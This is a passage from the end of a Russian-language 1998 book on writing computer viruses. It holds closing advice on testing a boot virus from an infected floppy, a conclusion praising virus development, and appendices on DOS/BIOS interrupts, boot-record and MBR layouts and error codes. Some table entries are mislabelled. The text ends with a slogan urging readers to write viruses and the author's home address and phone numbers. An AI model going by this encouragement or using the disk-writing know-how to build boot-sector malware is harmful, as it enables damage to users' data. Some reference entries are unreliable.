проверки в действии загрузочного вируса достаточно загрузиться с
зараженного магнитного диска. Понаблюдайте, как вирус заражает дискеты и в каких
случаях. Попробуйте найти в памяти вирусный код, а найдя - пройдите его
отладчиком.
Перед
проведением экспериментов с предложенной программой обязательно скопируйте
оригинальную MBR жесткого диска в отдельный файл на дискете. Если этого не
сделать, вы рискуете потерять данные на винчестере.
Все
проверки вирусной программы рекомендуется проводить с помощью программы
DISKEDIT, желательно одной из последних версий. С помощью этой же программы
можно " вылечить " зараженный диск, если вирус вам " надоест ".
ЗАКЛЮЧЕНИЕ
Эта
книга задумывалась и писалась лишь для того, чтобы приоткрыть завесу
таинственности и секретно-
сти,
которой окутана почти не овещаемая в литературе тема компьютерных вирусов .
Автор ни в коем случае не ставил своей целью обучить пользователей ЭВМ
разработке всевозможных "вредных" программных средств, а просто хотел поделиться
своими знаниями и результатами экспериментов с широкой общественностью
.Наверняка найдется немало людей - специалистов и любителей,которых
интересует затронутая в данной работе тема .И если кто - то из них пожелает
ознакомиться с предлагаемой книгой, я буду считать, что потратил время не
зря .Разработка действующих компьютерных вирусов - захватывающее и
сложное дело, требующее немалого опыта и определенной теоретической базы
.Надеюсь, эта книга сможет оказать вам некоторую помощь .
К
сожалению,изложение не рассчитано на начинающих, поэтому автору не удалось
приблизить стиль книги к научно - популярному . Хотя это трудно отнести к
недостаткам .
До
встречи !
ПРИЛОЖЕНИЕ
1
Краткий
справочник по функциям MS DOS и BIOS
*
Справочные
материалы по функциям MS DOS и BIOS с незначительными изменениями заимствованы
из [1], за что автор приносит К.Г.Финогенову свои извинения.
--------------------------------------------------
Функция
09h - Вывод строки на экран.Последним символом строки должен быть " $ "
.Управляющие коды : 07h - звонок, 08h - шаг назад, 0Ah - перевод строки,
0Dh - возврат каретки .
Вызов
: AH = 09h
DS
: DX = адрес строки .
Функция
0Eh - Выбор диска .Предназначена для смены текущего диска .Также возвращает
количество логических дисков .
Вызов
: AH = 0Eh
AL
= код дисковода ( 0 = A, 1 = B, 80h = = C и т.п. )
Возврат
: AL = количество дисководов в системе .
Функция
19h - Получение текущего диска .
Вызов
: AH = 19h
Возврат
: AL = код текущего диска ( 0 = A, 1 = B, 80h = C и т.п. ) .
Функция
1Ah - Установка адреса области передачи данных ( DTA ) .Устанавливает заданный
адрес DTA . Вызов : AH = 1Ah
DS
: DX = адрес DTA .
Функция
25h - Установка вектора прерывания .Записывает адрес программы обработки
заданного прерывания в таблицу векторов .
Вызов
: AH = 25h
AL
= номер вектора прерывания
DS
: DX = адрес программы обработки прерывания .
Функция
19h - Получение даты .
Вызов
: AH = 2Ah
Возврат
: CX = год
DH
= месяц
DL
= день
AL
= день недели ( 0 = воскресенье, 6 - суббота ) .
Функция
2Fh - Получение адреса области передачи данных ( DTA ) .Возвращает текущий адрес
DTA .
Вызов
: AH = 2Fh
Возврат
: ES : DX = адрес DTA .
Функция
35h - Получение вектора прерывания .Считывает адрес программы обработки
заданного прерывания из таблицы векторов .
Вызов
: AH = 35h
AL
= номер вектора прерывания
Возврат
: ES : BX = адрес программы обработки прерывания .
Функция
3Bh - Смена каталога.Предназначена для выбора текущего каталога .
Вызов
: AH = 3Bh
DS
: DX = полное имя каталога (например, C:\TASM\VIRUS\
При
ошибке :
CF
= 1
AX
= код ошибки .
Функция
3Dh - Открытие файла .Открывает файл с заданным именем и возвращает
дескриптор, выделенный этому файлу системой .Указатель устанавливается на начало
файла .
Вызов
: AH = 3Dh
AL
= режим доступа : 0 - для чтения
1
- для записи
2
- для чтения
и
записи
DS
: DX = полное имя файла ( например, C:\TASM\VIRUS\EXE_VIR.COM )
Возврат
: AX = дескриптор
При
ошибке :
CF
= 1
AX
= код ошибки .
Функция
3Eh - Закрытие файла .Закрывает файл с заданным дескриптором.Дескриптор
освобождается, кроме того, модифицируются дата и время создания файла,
если файл был изменен .
Вызов
: AH = 3Eh
DX
= дескриптор
При
ошибке :
CF
= 1
AX
= код ошибки .
Функция
3Fh - Чтение из файла или устройства .Считывает данные из файла или
устройства и модифицирует указатель .При чтении читается строка
указанной длины . При чтении из символьного устройства чтение прекращается,
если встретился символ возврата каретки ( например,при вводе с клавиатуры
). Вызов : AH = 3Fh
BX
= дескриптор
CX
= количество передаваемых символов
DS
: DX = адрес буфера, в который помещаются данные
Возврат
: AX = число переданных байт
При
ошибке :
CF
= 1
AX
= код ошибки .
Функция
40h - Запись в файл или в устройство .Считывает данные из буфера и
записывает их в файл,при этом модифицируется указатель .При записи
записывается строка указанной длины .
Вызов
: AH = 40h
BX
= дескриптор
CX
= количество передаваемых символов
DS
: DX = адрес буфера, в который помещаются данные
Возврат
: AX = число переданных байт
При
ошибке :
CF
= 1
AX
= код ошибки .
Функция
42h - Установка указателя в файле .Предназначена для установки указателя на
требуемый байт в файле .
Вызов
: AH = 42h
BX
= дескриптор
AL
= режим установки указателя:
0
- смещение от начала файла
1
- смещение от текущего положения указателя
1
- смещение от конца файла
CX
= старшая часть смещения
DX
= младшая часть смещения
Возврат
: CX = старшая часть возвращенного указателя
DX
= младшая часть возвращенного указателя .
Функция
48h - Выделение блока памяти указанного размера .Выделяет блок памяти, после
чего возвращает его сегментный адрес .
Вызов
: AH = 48h
BX
= Размер блока памяти в параграфах Возврат : AX = сегментный адрес выделенного
системой блока
При
ошибке :
CF
= 1
AX
= код ошибки .
BX
= размер наибольшего доступного в данный момент блока .
Функция
49h - Освобождение блока памяти
.
Вызов
: AH = 49h
ES
= сегментный адрес блока,который следует освободить
При
ошибке :
CF
= 1
AX
= код ошибки .
Функция
4Ah - Изменение размера блока памяти, который был выделен программе .
Вызов
: AH = 4Ah
BX
= новый размер блока в параграфах . ES = сегментный адрес блока,размер
которого следует изменить
При
ошибке :
CF
= 1
AX
= код ошибки .
BX
= размер наибольшего доступного в данный момент блока .
Функция
4Ch - Завершение процесса с кодом возврата .Завершает текущую задачу и
передает код завершения родительскому процессу .Освобождает выделенную
программе память, сбрасывает на диск буферы,
закрывает
дескрипторы, восстанавливает из PSP вектора прерываний INT 22h, INT 23h и
INT 24h . Далее управление передается родительскому процессу . Вызов : AH = 4Ch
AL
= код возврата .
AL
= 00h обычно соответствует нормальному завершению программы .
Функция
4Eh - Поиск первого файла .Производит поиск в заданном каталоге первого
файла, соответствующего заданной маске и имеющего указанные атрибуты
.
Вызов
: AH = 4Eh
CX
= атрибуты файла ( могут комбинироваться ) :
1
- только читаемый (
read only )
2
- скрытый ( hidden
)
4
- системный ( system
)
8
- метка тома
20h - архивный ( archive )
DS
: DX = адрес маски для поиска
Возврат
: имя найденного файла и его расширение записывается в DTA в байты 1Eh - 2Ah .За
последним символом расширения всегда следует точка : " . "
При
ошибке :
CF
= 1
AX
= код ошибки .
Функция
4Fh - Поиск следующего файла .Почти всегда используется в паре с предыдущей
функцией и вызывается после того, как был найден первый файл .
Вызов
: AH = 4Fh
Возврат
: имя найденного файла и его расширение записывается в DTA в байты 1Eh - 2Ah .За
последним символом расширения всегда следует точка : " . "
При
ошибке :
CF
= 1
AX
= код ошибки .
Мультиплексное
прерывание INT 2Fh.Используется для организации взаимодействия резидентных
программ с системой и друг с другом.Для программиста зарезервированы
функции : C0h - FFh .
Вызов
: AH = 2Fh
AL
= подфункция
Возврат
: AL = 0 - программа не установлена и ее можно установить
AL
= 1 - программа не установлена и ее нельзя установить
AL
= 0FFh - программа уже установлена . При ошибке :
CF
= 1
AX
= код ошибки .
--------------------------------------------------
Прерывание
INT 13h, функция 02h - чтение сектора. Считывает один или несколько определенных
пользователем секторов физического диска в выделенный буфер.Для начального
сектора указываются такие координаты : дорожка,сектор, головка .Секторы на
дорожке нумеруются от единицы, дорожки и головки нумеруются от нуля .
Вызов
: AH = 02h
AL = количество читаемых секторов
CH = дорожка
CL = начальный сектор
DH = головка
DL = дисковод ( 00h - 07Fh - для
дискет-
ного
дисковода, 80h - 0FFh - для " винчестера " .
ES
: BX = адрес буфера, в который будет читаться информация из
секторов
Возврат
: CF = 0
AH
= 0
AL
= количество прочитанных секторов
При
ошибке :
CF
= 1
AH
= байт состояния .
*
Биты
регистра CX 5...0 определяют номер сектора, а биты 15...6 - номер дорожки
!!!
Это
выглядит так :
|
| |
Номер
бита |
15 |
14 |
13 |
12 |
11 |
10 |
9 |
8
| |
|
|
|
| |
Содержимое
бита
___________ |
c
___ |
c
___ |
c
___ |
c
___ |
c
___ |
c
___ |
c
___ |
|
c |
___| |
|
| |
Номер
бита |
7 |
6 |
5 |
4 |
3 |
2 |
1 |
0
| |
|
|
| |
Содержимое
бита |
C |
c |
S |
s |
s |
s |
s |
|
s | |
Буква
" C " или " c " означает, что бит принадлежит номеру дорожки;
Буква
" S " или " s " означает, что бит принадлежит номеру сектора.
Таким
образом, биты "7" и "6" являются старшими битами номера дорожки, а биты "5"
и "4" являются старшими битами номера сектора.
Прерывание
INT 13h, функция 03h - запись сектора. Записывает один или несколько
определенных пользователем секторов на физический диск .Для начального
сектора указываются такие координаты : дорожка, сектор, головка .Секторы на
дорожке нумеруются от единицы, дорожки и головки нумеруются от нуля .
Вызов
: AH = 03h
AL = количество записываемых
секторов
CH = дорожка
CL = начальный сектор
DH = головка
DL = дисковод ( 00h - 07Fh - для
дискет-
ного
дисковода, 80h - 0FFh - для " винчестера " .
ES
: BX = адрес буфера,информация из которого будет записываться в сектора
Возврат
: CF = 0
AH
= 0
AL
= количество записанных секторов При ошибке :
CF
= 1
AH
= байт состояния .
*
Биты
регистра CX 5...0 определяют номер сектора, а биты 15...6 - номер дорожки
!!!
(
см функцию 02h ).
Прерывание
INT 13h, функция 08h - получение параметров дисковода.
Вызов
: AH = 08h
DL
= дисковод ( 00h - 07Fh - для дискетного дисковода, 80h - 0FFh - для "
винчестера " .
Возврат
: AH = 0
BL
= тип дисковода ( только AT и PS2 )
DL
= количество накопителей, обслуживаемых первым контроллером
DH
= максимальный номер головки
CL
= максимальный номер сектора
CH
= максимальный номер дорожки
(
см. функцию 02h )
ES
: DI = адрес таблицы параметров дисковода
При
ошибке :
CF
= 1
AH
= байт состояния .
*
Функция
не работает на IBM XT для дисководов !!!
ПРИЛОЖЕНИЕ
2
Формат
загрузочной записи для MS DOS различных версий
Формат
BOOT - записи для версий MS DOS до 4.0
|
|
Смещение
(
HEX ) |
Размер
(
DEC ) |
Содержимое
| | |
|
|
00h |
03 |
Команда
EB xx 90 перехода на | программу начальной загрузки | |
|
|
03h |
08 |
Название
фирмы - производителя| и номер операционной системы | |
|
|
0Bh |
13 |
Блок
параметров BIOS ( BPB )
| |
|
|
18h |
02 |
Количество
секторов на дорожке| |
|
|
1Ah |
02 |
Количество
поверхностей диска | |
|
|
1Ch |
02 |
Количество
скрытых секторов, | которые иногда используются | для разбиения диска на
разделы| |
|
|
1Eh |
480 |
Программа
начальной загрузки, | называемая загрузочной записью| (Boot Record).
| |
|
|
1FEh |
02 |
Код
: 55 AA
| |
Формат
BOOT - записи для версии MS DOS 4.0
|
|
Смещение
(
HEX ) |
Размер
(
DEC ) |
Содержимое
| | |
|
|
00h |
03 |
Команда
EB xx 90 перехода на | программу начальной загрузки | |
|
|
03h |
08 |
Название
фирмы - производителя| и номер операционной системы | |
|
|
0Bh |
25 |
Расширенный
блок параметров |
BIOS
( EBPB )
| |
|
|
24h |
01 |
Физический
номер дисковода | ( 00h - для дискетного диско- | вода, 80h - для
винчестера ) | |
|
|
25h |
01 |
Зарезервировано
| |
|
|
26h |
01 |
Символ
" ) " - признак расши- | ренной загрузочной записи |
MS
DOS 4.0
| |
|
|
27h |
04 |
Серийный
номер диска,создается| во время его форматирования | |
|
|
2Bh |
11 |
Метка
( Volume Label ) диска, | задается во время его форма- | тирования
| |
|
|
36h |
08 |
Обычно
содержит запись типа | " FAT 12 " или аналогичную | |
|
|
3Eh |
448 |
Программа
начальной загрузки, | называемая загрузочной записью| (Boot Record).
| |
|
|
1FEh
_________ |
02
_______ |
Код
: 55 AA | ______________________________| |
Формат
Master Boot Record ( MBR ) - главной загрузочной записи жесткого диска
|
|Смещение
|
( HEX ) |
Размер
| Содержимое | ( DEC )| | |
|
|00h
|
| |
446
|Программа, называемая | |главной загрузочной записью | |(MBR, или Master
Boot Record).| |
|
|1BEh |
16 |Элемент таблицы
разделов диска| |
|
|1CEh |
16 |Элемент таблицы
разделов диска| |
|
|1DEh |
16 |Элемент таблицы
разделов диска| |
|
|1EEh |
16 |Элемент таблицы
разделов диска| |
|
|1FEh
|_________ |
02
|Код : 55 AA | _______|______________________________| |
|
Формат
BPB |
для
версий MS DOS до 4.0 |
|
_________
|Смещение
|
( HEX ) |
______________________________________
Размер
| Содержимое | ( DEC )| | |
|
|00h
| |
02
|Количество байтов | |в одном секторе диска | |
|
|02h
| |
01
|Количество секторов | |в одном кластере | |
|
|03h
| |
02
|Количество зарезервированных | |секторов | |
|
|05h |
01 |Количество
копий FAT
| |
|
|06h
|
| |
02
|Максимальное количество дес- | |крипторов файлов, содержащихся| |в
корневом каталоге диска | |
|
|08h
| |
02
|Общее количество секторов на | |носителе данных в разделе DOS | |
|
|0Ah
| |
01
|Байт - описатель среды носи- | |теля данных | |
|
|0Bh
|
|_________ |
02
|Количество секторов,занимаемых| |одной копией FAT |
_______|______________________________| |
Формат
EBPB
|
|
Смещение
(
HEX ) |
Размер
(
DEC ) |
Содержимое
| | |
|
|
00h |
02 |
Количество
байтов | в одном секторе диска | |
|
|
02h |
01 |
Количество
секторов | в одном кластере | |
|
|
03h |
02 |
Количество
зарезервированных | секторов | |
|
|
05h |
01 |
Количество
копий FAT
| |
|
|
06h |
02 |
Максимальное
количество дес- | крипторов файлов, содержащихся| в корневом каталоге
диска | |
|
|
08h |
02 |
Общее
количество секторов на | носителе данных в разделе DOS | |
|
|
0Ah |
01 |
Байт
- описатель среды носи- | теля данных | |
|
|
0Bh |
02 |
Количество
секторов,занимаемых| одной копией FAT | |
|
|
0Dh |
02 |
Количество
секторов | на дорожке | |
|
|
0Fh |
02 |
Количество
головок накопителя | |
|
|
11h |
02 |
Количество
скрытых секторов | для раздела,который по размеру| меньше 32 - х Мегабайт
| |
|
|
13h |
02 |
Количество
скрытых секторов | для раздела,который по размеру| превышает 32 Мегабайта
| ( Используется только в |
MS
DOS 4.0 )
| |
|
|
15h |
04 |
Общее
количество секторов на | логическом диске для раздела, | который по
размеру превышает |
32
Мегабайта
| |
Параметры
дискет различных типов
(
В таблицу не вошли данные о совсем старых дискетах с объемом 320 Kb, 180
Kb, 120 Kb и других ) :
|
|
Диаметр
| диска | |
3.5" |
3.5" |
3.5" |
5.25" |
|
5.25
" | |
|
|
Емкость
| диска, Kb | |
2880 |
1440 |
720 |
1200 |
|
360 | |
|
|
Media |
Descryptor| |
F0h |
F0h |
F9h |
F9h |
|
FDh | |
|
|
Количество|
сторон | |
2 |
2 |
2 |
2 |
|
2
| |
|
|
Количество|
дорожек | на стороне| |
80 |
80 |
80 |
80 |
|
40 |
| |
|
|
Количество|
секторов | на дорожке| |
36 |
18 |
9 |
15 |
|
9 |
| |
|
|
Размер
| сектора | |
512 |
512 |
512 |
512 |
|
512 | |
|
|
Количество|
секторов | в кластере| |
2 |
1 |
2 |
1 |
|
2 |
| |
|
|
Длина
FAT | в секторах| |
9 |
9 |
3 |
7 |
|
2
| |
|
|
Количество|
копий FAT | |
2 |
2 |
2 |
2 |
|
2
| |
|
|
Длина
| корневого | каталога | в секторах| __________| |
15
_____ |
14
______ |
7
______ |
14
_______ |
|
|
7 |
|
________| |
ПРИЛОЖЕНИЕ
3
КОДЫ
ОШИБОК ПРИ ВЫПОЛНЕНИИ ФУНКЦИЙ
MS
DOS и BIOS
00h - Ошибки нет
01h - Неправильный номер функции
02h - Файл не найден
03h - Путь не найден
04h - Слишком много открытых файлов
05h - Доступ запрещен
06h - Неправильный дескриптор
07h - Уничтожен блок управления памятью (
MCB -
блок)
08h - Не хватает памяти
09h - Неправильный адрес блока памяти
0Ah - Неправильное окружение
0Bh - Неправильный формат
0Ch - Неправильный код доступа
0Dh - Неправильные данные
0Eh - Неизвестное устройство
0Fh - Неправильный дисковод
10h - Попытка удалить текущий каталог
11h - Не то же устройство
12h - Больше нет файлов
13h - Диск защищен от записи
14h - Неизвестное устройство
15h - Дисковод не готов
16h - Неизвестная команда
17h - Ошибка контрольной суммы
19h - Ошибка поиска дорожки
1Ah - Неизвестный носитель
1Bh - Сектор не найден
1Ch - В принтере нет бумаги
1Dh - Отказ записи
1Eh - Отказ чтения
1Fh - Общая ошибка
50h - Файл уже существует
52h - Не могу создать каталог
54h - Слишком много перенаправлений
55h - Двойное перенаправление
57h - Неправильный параметр
--------------------------------------------------
КОДЫ
ОШИБОК ПРИ ВЫПОЛНЕНИИ ФУНКЦИЙ BIOS
00h - Ошибки нет
01h - Неправильная команда
02h - Не найдена адресная метка
03h - Диск защищен от записи
04h - Сектор не найден
05h - Сброс жесткого диска не прошел
06h - Дискета вынута
07h - Неправильная таблица параметров
жесткого
диска ( HDPT - Hard Disk Parameter Table )
0Ch
- Не найден тип носителя данных
0Dh
- Неправильное число секторов в формате на жестком диске
10h
- Невосстановимая ошибка данных
11h
- Восстановленная ошибка данных на жестком диске
20h - Неисправность контроллера
40h - Ошибка позиционирования
80h - Тайм - аут диска
AAh - Жесткий диск не готов
BBh - Неизвестная ошибка жесткого диска
ЛИТЕРАТУРА
1.
Финогенов К .Г
"
Самоучитель по системным функциям
MS
DOS ", М.:Малип, 1993
2.
П .Абель
"
Язык ассемблера для IBM PC и программирования ", М.:Высшая школа,
1991
3.
Хижняк П .Л
"
Пишем вирус... и антивирус ! ",
М.:
Инфо, 1991
4.
Касаткин А .И
"
Профессиональное программирование на языке СИ .Управление ресурсами ",
Минск, Вышейшая школа, 1992
5.
Самофалов К .Г, Викторов О .В
"
Микропроцессоры ",М.:Библиотека инженера, 1990
г.
Житомир, 18.08.1998
И.
Коваль
По
возникшим вопросам вы можете обратиться к автору этой книги .С
благодарностью приму любые замечания, пожелания и предложения .
__________________________________________________
ПИШИТЕ ВИРУСЫ, КАК ЗАВЕЩАЛ ВЕЛИКИЙ ЛЕНИН, КАК УЧИТ НАС КОММУНИСТИЧЕСКАЯ ПАРТИЯ
!!!
--------------------------------------------------
Украина
г.
Житомир
ул.
Большая Бердичевская, д. 83, кв. 25
Коваль
Игорь Михайлович тел. 8 (0412) 343427
8
(0412) 204218 Индекс : 262002